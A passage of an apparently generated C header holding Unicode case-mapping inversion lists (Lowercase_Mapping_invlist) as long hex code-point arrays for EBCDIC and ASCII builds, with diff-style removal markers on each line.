0x465, - 0, - 0x467, - 0, - 0x469, - 0, - 0x46B, - 0, - 0x46D, - 0, - 0x46F, - 0, - 0x471, - 0, - 0x473, - 0, - 0x475, - 0, - 0x477, - 0, - 0x479, - 0, - 0x47B, - 0, - 0x47D, - 0, - 0x47F, - 0, - 0x481, - 0, - 0x48B, - 0, - 0x48D, - 0, - 0x48F, - 0, - 0x491, - 0, - 0x493, - 0, - 0x495, - 0, - 0x497, - 0, - 0x499, - 0, - 0x49B, - 0, - 0x49D, - 0, - 0x49F, - 0, - 0x4A1, - 0, - 0x4A3, - 0, - 0x4A5, - 0, - 0x4A7, - 0, - 0x4A9, - 0, - 0x4AB, - 0, - 0x4AD, - 0, - 0x4AF, - 0, - 0x4B1, - 0, - 0x4B3, - 0, - 0x4B5, - 0, - 0x4B7, - 0, - 0x4B9, - 0, - 0x4BB, - 0, - 0x4BD, - 0, - 0x4BF, - 0, - 0x4CF, - 0x4C2, - 0, - 0x4C4, - 0, - 0x4C6, - 0, - 0x4C8, - 0, - 0x4CA, - 0, - 0x4CC, - 0, - 0x4CE, - 0, - 0x4D1, - 0, - 0x4D3, - 0, - 0x4D5, - 0, - 0x4D7, - 0, - 0x4D9, - 0, - 0x4DB, - 0, - 0x4DD, - 0, - 0x4DF, - 0, - 0x4E1, - 0, - 0x4E3, - 0, - 0x4E5, - 0, - 0x4E7, - 0, - 0x4E9, - 0, - 0x4EB, - 0, - 0x4ED, - 0, - 0x4EF, - 0, - 0x4F1, - 0, - 0x4F3, - 0, - 0x4F5, - 0, - 0x4F7, - 0, - 0x4F9, - 0, - 0x4FB, - 0, - 0x4FD, - 0, - 0x4FF, - 0, - 0x501, - 0, - 0x503, - 0, - 0x505, - 0, - 0x507, - 0, - 0x509, - 0, - 0x50B, - 0, - 0x50D, - 0, - 0x50F, - 0, - 0x511, - 0, - 0x513, - 0, - 0x515, - 0, - 0x517, - 0, - 0x519, - 0, - 0x51B, - 0, - 0x51D, - 0, - 0x51F, - 0, - 0x521, - 0, - 0x523, - 0, - 0x525, - 0, - 0x527, - 0, - 0x529, - 0, - 0x52B, - 0, - 0x52D, - 0, - 0x52F, - 0, - 0x561, - 0, - CF_use_AUX_TABLE_7, - 0, - 0x2D00, - 0, - 0x2D27, - 0, - 0x2D2D, - 0, - 0x13F0, - 0, - 0x432, - 0x434, - 0x43E, - 0x441, - 0x442, - 0x44A, - 0x463, - 0xA64B, - 0, - 0x1E01, - 0, - 0x1E03, - 0, - 0x1E05, - 0, - 0x1E07, - 0, - 0x1E09, - 0, - 0x1E0B, - 0, - 0x1E0D, - 0, - 0x1E0F, - 0, - 0x1E11, - 0, - 0x1E13, - 0, - 0x1E15, - 0, - 0x1E17, - 0, - 0x1E19, - 0, - 0x1E1B, - 0, - 0x1E1D, - 0, - 0x1E1F, - 0, - 0x1E21, - 0, - 0x1E23, - 0, - 0x1E25, - 0, - 0x1E27, - 0, - 0x1E29, - 0, - 0x1E2B, - 0, - 0x1E2D, - 0, - 0x1E2F, - 0, - 0x1E31, - 0, - 0x1E33, - 0, - 0x1E35, - 0, - 0x1E37, - 0, - 0x1E39, - 0, - 0x1E3B, - 0, - 0x1E3D, - 0, - 0x1E3F, - 0, - 0x1E41, - 0, - 0x1E43, - 0, - 0x1E45, - 0, - 0x1E47, - 0, - 0x1E49, - 0, - 0x1E4B, - 0, - 0x1E4D, - 0, - 0x1E4F, - 0, - 0x1E51, - 0, - 0x1E53, - 0, - 0x1E55, - 0, - 0x1E57, - 0, - 0x1E59, - 0, - 0x1E5B, - 0, - 0x1E5D, - 0, - 0x1E5F, - 0, - 0x1E61, - 0, - 0x1E63, - 0, - 0x1E65, - 0, - 0x1E67, - 0, - 0x1E69, - 0, - 0x1E6B, - 0, - 0x1E6D, - 0, - 0x1E6F, - 0, - 0x1E71, - 0, - 0x1E73, - 0, - 0x1E75, - 0, - 0x1E77, - 0, - 0x1E79, - 0, - 0x1E7B, - 0, - 0x1E7D, - 0, - 0x1E7F, - 0, - 0x1E81, - 0, - 0x1E83, - 0, - 0x1E85, - 0, - 0x1E87, - 0, - 0x1E89, - 0, - 0x1E8B, - 0, - 0x1E8D, - 0, - 0x1E8F, - 0, - 0x1E91, - 0, - 0x1E93, - 0, - 0x1E95, - 0, - CF_use_AUX_TABLE_8, - CF_use_AUX_TABLE_9, - CF_use_AUX_TABLE_10, - CF_use_AUX_TABLE_11, - CF_use_AUX_TABLE_12, - 0x1E61, - 0, - CF_use_AUX_TABLE_1, - 0, - 0x1EA1, - 0, - 0x1EA3, - 0, - 0x1EA5, - 0, - 0x1EA7, - 0, - 0x1EA9, - 0, - 0x1EAB, - 0, - 0x1EAD, - 0, - 0x1EAF, - 0, - 0x1EB1, - 0, - 0x1EB3, - 0, - 0x1EB5, - 0, - 0x1EB7, - 0, - 0x1EB9, - 0, - 0x1EBB, - 0, - 0x1EBD, - 0, - 0x1EBF, - 0, - 0x1EC1, - 0, - 0x1EC3, - 0, - 0x1EC5, - 0, - 0x1EC7, - 0, - 0x1EC9, - 0, - 0x1ECB, - 0, - 0x1ECD, - 0, - 0x1ECF, - 0, - 0x1ED1, - 0, - 0x1ED3, - 0, - 0x1ED5, - 0, - 0x1ED7, - 0, - 0x1ED9, - 0, - 0x1EDB, - 0, - 0x1EDD, - 0, - 0x1EDF, - 0, - 0x1EE1, - 0, - 0x1EE3, - 0, - 0x1EE5, - 0, - 0x1EE7, - 0, - 0x1EE9, - 0, - 0x1EEB, - 0, - 0x1EED, - 0, - 0x1EEF, - 0, - 0x1EF1, - 0, - 0x1EF3, - 0, - 0x1EF5, - 0, - 0x1EF7, - 0, - 0x1EF9, - 0, - 0x1EFB, - 0, - 0x1EFD, - 0, - 0x1EFF, - 0, - 0x1F00, - 0, - 0x1F10, - 0, - 0x1F20, - 0, - 0x1F30, - 0, - 0x1F40, - 0, - CF_use_AUX_TABLE_13, - 0, - CF_use_AUX_TABLE_14, - 0, - CF_use_AUX_TABLE_15, - 0, - CF_use_AUX_TABLE_16, - 0, - 0x1F51, - 0, - 0x1F53, - 0, - 0x1F55, - 0, - 0x1F57, - 0, - 0x1F60, - 0, - CF_use_AUX_TABLE_17, - CF_use_AUX_TABLE_18, - CF_use_AUX_TABLE_19, - CF_use_AUX_TABLE_20, - CF_use_AUX_TABLE_21, - CF_use_AUX_TABLE_22, - CF_use_AUX_TABLE_23, - CF_use_AUX_TABLE_24, - CF_use_AUX_TABLE_17, - CF_use_AUX_TABLE_18, - CF_use_AUX_TABLE_19, - CF_use_AUX_TABLE_20, - CF_use_AUX_TABLE_21, - CF_use_AUX_TABLE_22, - CF_use_AUX_TABLE_23, - CF_use_AUX_TABLE_24, - CF_use_AUX_TABLE_25, - CF_use_AUX_TABLE_26, - CF_use_AUX_TABLE_27, - CF_use_AUX_TABLE_28, - CF_use_AUX_TABLE_29, - CF_use_AUX_TABLE_30, - CF_use_AUX_TABLE_31, - CF_use_AUX_TABLE_32, - CF_use_AUX_TABLE_25, - CF_use_AUX_TABLE_26, - CF_use_AUX_TABLE_27, - CF_use_AUX_TABLE_28, - CF_use_AUX_TABLE_29, - CF_use_AUX_TABLE_30, - CF_use_AUX_TABLE_31, - CF_use_AUX_TABLE_32, - CF_use_AUX_TABLE_33, - CF_use_AUX_TABLE_34, - CF_use_AUX_TABLE_35, - CF_use_AUX_TABLE_36, - CF_use_AUX_TABLE_37, - CF_use_AUX_TABLE_38, - CF_use_AUX_TABLE_39, - CF_use_AUX_TABLE_40, - CF_use_AUX_TABLE_33, - CF_use_AUX_TABLE_34, - CF_use_AUX_TABLE_35, - CF_use_AUX_TABLE_36, - CF_use_AUX_TABLE_37, - CF_use_AUX_TABLE_38, - CF_use_AUX_TABLE_39, - CF_use_AUX_TABLE_40, - 0, - CF_use_AUX_TABLE_41, - CF_use_AUX_TABLE_42, - CF_use_AUX_TABLE_43, - 0, - CF_use_AUX_TABLE_44, - CF_use_AUX_TABLE_45, - 0x1FB0, - 0x1F70, - CF_use_AUX_TABLE_42, - 0, - 0x3B9, - 0, - CF_use_AUX_TABLE_46, - CF_use_AUX_TABLE_47, - CF_use_AUX_TABLE_48, - 0, - CF_use_AUX_TABLE_49, - CF_use_AUX_TABLE_50, - 0x1F72, - CF_use_AUX_TABLE_47, - 0, - CF_use_AUX_TABLE_51, - CF_use_AUX_TABLE_5, - 0, - CF_use_AUX_TABLE_52, - CF_use_AUX_TABLE_53, - 0x1FD0, - 0x1F76, - 0, - CF_use_AUX_TABLE_54, - CF_use_AUX_TABLE_6, - CF_use_AUX_TABLE_55, - 0, - CF_use_AUX_TABLE_56, - CF_use_AUX_TABLE_57, - 0x1FE0, - 0x1F7A, - 0x1FE5, - 0, - CF_use_AUX_TABLE_58, - CF_use_AUX_TABLE_59, - CF_use_AUX_TABLE_60, - 0, - CF_use_AUX_TABLE_61, - CF_use_AUX_TABLE_62, - 0x1F78, - 0x1F7C, - CF_use_AUX_TABLE_59, - 0, - 0x3C9, - 0, - 0x92, - 0x47, - 0, - 0x214E, - 0, - 0x2170, - 0, - 0x2184, - 0, - 0x24D0, - 0, - 0x2C30, - 0, - 0x2C61, - 0, - 0x26B, - 0x1D7D, - 0x27D, - 0, - 0x2C68, - 0, - 0x2C6A, - 0, - 0x2C6C, - 0, - 0x251, - 0x271, - 0x250, - 0x252, - 0, - 0x2C73, - 0, - 0x2C76, - 0, - 0x23F, - 0x2C81, - 0, - 0x2C83, - 0, - 0x2C85, - 0, - 0x2C87, - 0, - 0x2C89, - 0, - 0x2C8B, - 0, - 0x2C8D, - 0, - 0x2C8F, - 0, - 0x2C91, - 0, - 0x2C93, - 0, - 0x2C95, - 0, - 0x2C97, - 0, - 0x2C99, - 0, - 0x2C9B, - 0, - 0x2C9D, - 0, - 0x2C9F, - 0, - 0x2CA1, - 0, - 0x2CA3, - 0, - 0x2CA5, - 0, - 0x2CA7, - 0, - 0x2CA9, - 0, - 0x2CAB, - 0, - 0x2CAD, - 0, - 0x2CAF, - 0, - 0x2CB1, - 0, - 0x2CB3, - 0, - 0x2CB5, - 0, - 0x2CB7, - 0, - 0x2CB9, - 0, - 0x2CBB, - 0, - 0x2CBD, - 0, - 0x2CBF, - 0, - 0x2CC1, - 0, - 0x2CC3, - 0, - 0x2CC5, - 0, - 0x2CC7, - 0, - 0x2CC9, - 0, - 0x2CCB, - 0, - 0x2CCD, - 0, - 0x2CCF, - 0, - 0x2CD1, - 0, - 0x2CD3, - 0, - 0x2CD5, - 0, - 0x2CD7, - 0, - 0x2CD9, - 0, - 0x2CDB, - 0, - 0x2CDD, - 0, - 0x2CDF, - 0, - 0x2CE1, - 0, - 0x2CE3, - 0, - 0x2CEC, - 0, - 0x2CEE, - 0, - 0x2CF3, - 0, - 0xA641, - 0, - 0xA643, - 0, - 0xA645, - 0, - 0xA647, - 0, - 0xA649, - 0, - 0xA64B, - 0, - 0xA64D, - 0, - 0xA64F, - 0, - 0xA651, - 0, - 0xA653, - 0, - 0xA655, - 0, - 0xA657, - 0, - 0xA659, - 0, - 0xA65B, - 0, - 0xA65D, - 0, - 0xA65F, - 0, - 0xA661, - 0, - 0xA663, - 0, - 0xA665, - 0, - 0xA667, - 0, - 0xA669, - 0, - 0xA66B, - 0, - 0xA66D, - 0, - 0xA681, - 0, - 0xA683, - 0, - 0xA685, - 0, - 0xA687, - 0, - 0xA689, - 0, - 0xA68B, - 0, - 0xA68D, - 0, - 0xA68F, - 0, - 0xA691, - 0, - 0xA693, - 0, - 0xA695, - 0, - 0xA697, - 0, - 0xA699, - 0, - 0xA69B, - 0, - 0xA723, - 0, - 0xA725, - 0, - 0xA727, - 0, - 0xA729, - 0, - 0xA72B, - 0, - 0xA72D, - 0, - 0xA72F, - 0, - 0xA733, - 0, - 0xA735, - 0, - 0xA737, - 0, - 0xA739, - 0, - 0xA73B, - 0, - 0xA73D, - 0, - 0xA73F, - 0, - 0xA741, - 0, - 0xA743, - 0, - 0xA745, - 0, - 0xA747, - 0, - 0xA749, - 0, - 0xA74B, - 0, - 0xA74D, - 0, - 0xA74F, - 0, - 0xA751, - 0, - 0xA753, - 0, - 0xA755, - 0, - 0xA757, - 0, - 0xA759, - 0, - 0xA75B, - 0, - 0xA75D, - 0, - 0xA75F, - 0, - 0xA761, - 0, - 0xA763, - 0, - 0xA765, - 0, - 0xA767, - 0, - 0xA769, - 0, - 0xA76B, - 0, - 0xA76D, - 0, - 0xA76F, - 0, - 0xA77A, - 0, - 0xA77C, - 0, - 0x1D79, - 0xA77F, - 0, - 0xA781, - 0, - 0xA783, - 0, - 0xA785, - 0, - 0xA787, - 0, - 0xA78C, - 0, - 0x265, - 0, - 0xA791, - 0, - 0xA793, - 0, - 0xA797, - 0, - 0xA799, - 0, - 0xA79B, - 0, - 0xA79D, - 0, - 0xA79F, - 0, - 0xA7A1, - 0, - 0xA7A3, - 0, - 0xA7A5, - 0, - 0xA7A7, - 0, - 0xA7A9, - 0, - 0x266, - 0x25C, - 0x261, - 0x26C, - 0x26A, - 0, - 0x29E, - 0x287, - 0x29D, - 0xAB53, - 0xA7B5, - 0, - 0xA7B7, - 0, - 0x13A0, - 0, - CF_use_AUX_TABLE_63, - CF_use_AUX_TABLE_64, - CF_use_AUX_TABLE_65, - CF_use_AUX_TABLE_66, - CF_use_AUX_TABLE_67, - CF_use_AUX_TABLE_68, - 0, - CF_use_AUX_TABLE_69, - CF_use_AUX_TABLE_70, - CF_use_AUX_TABLE_71, - CF_use_AUX_TABLE_72, - CF_use_AUX_TABLE_73, - 0, - 0xFF41, - 0, - 0x10428, - 0, - 0x104D8, - 0, - 0x10CC0, - 0, - 0x118C0, - 0, - 0x1E922, - 0 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV Lowercase_Mapping_invlist[] = { /* for ASCII/Latin1 */ - 1237, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x5B, - 0xC0, - 0xD7, - 0xD8, - 0xDF, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x179, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x181, - 0x182, - 0x183, - 0x184, - 0x185, - 0x186, - 0x187, - 0x188, - 0x189, - 0x18B, - 0x18C, - 0x18E, - 0x18F, - 0x190, - 0x191, - 0x192, - 0x193, - 0x194, - 0x195, - 0x196, - 0x197, - 0x198, - 0x199, - 0x19C, - 0x19D, - 0x19E, - 0x19F, - 0x1A0, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A7, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1AF, - 0x1B0, - 0x1B1, - 0x1B3, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B8, - 0x1B9, - 0x1BC, - 0x1BD, - 0x1C4, - 0x1C5, - 0x1C6, - 0x1C7, - 0x1C8, - 0x1C9, - 0x1CA, - 0x1CB, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F2, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F7, - 0x1F8, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23B, - 0x23C, - 0x23D, - 0x23E, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x244, - 0x245, - 0x246, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x370, - 0x371, - 0x372, - 0x373, - 0x376, - 0x377, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x390, - 0x391, - 0x3A2, - 0x3A3, - 0x3AC, - 0x3CF, - 0x3D0, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F4, - 0x3F5, - 0x3F7, - 0x3F8, - 0x3F9, - 0x3FA, - 0x3FB, - 0x3FD, - 0x400, - 0x410, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x48A, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C1, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x531, - 0x557, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x13A0, - 0x13F0, - 0x13F6, - 0x1E00, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F18, - 0x1F1E, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F48, - 0x1F4E, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F88, - 0x1F90, - 0x1F98, - 0x1FA0, - 0x1FA8, - 0x1FB0, - 0x1FB8, - 0x1FBA, - 0x1FBC, - 0x1FBD, - 0x1FC8, - 0x1FCC, - 0x1FCD, - 0x1FD8, - 0x1FDA, - 0x1FDC, - 0x1FE8, - 0x1FEA, - 0x1FEC, - 0x1FED, - 0x1FF8, - 0x1FFA, - 0x1FFC, - 0x1FFD, - 0x2126, - 0x2127, - 0x212A, - 0x212B, - 0x212C, - 0x2132, - 0x2133, - 0x2160, - 0x2170, - 0x2183, - 0x2184, - 0x24B6, - 0x24D0, - 0x2C00, - 0x2C2F, - 0x2C60, - 0x2C61, - 0x2C62, - 0x2C63, - 0x2C64, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C6E, - 0x2C6F, - 0x2C70, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7E, - 0x2C80, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CEB, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CF2, - 0x2CF3, - 0xA640, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 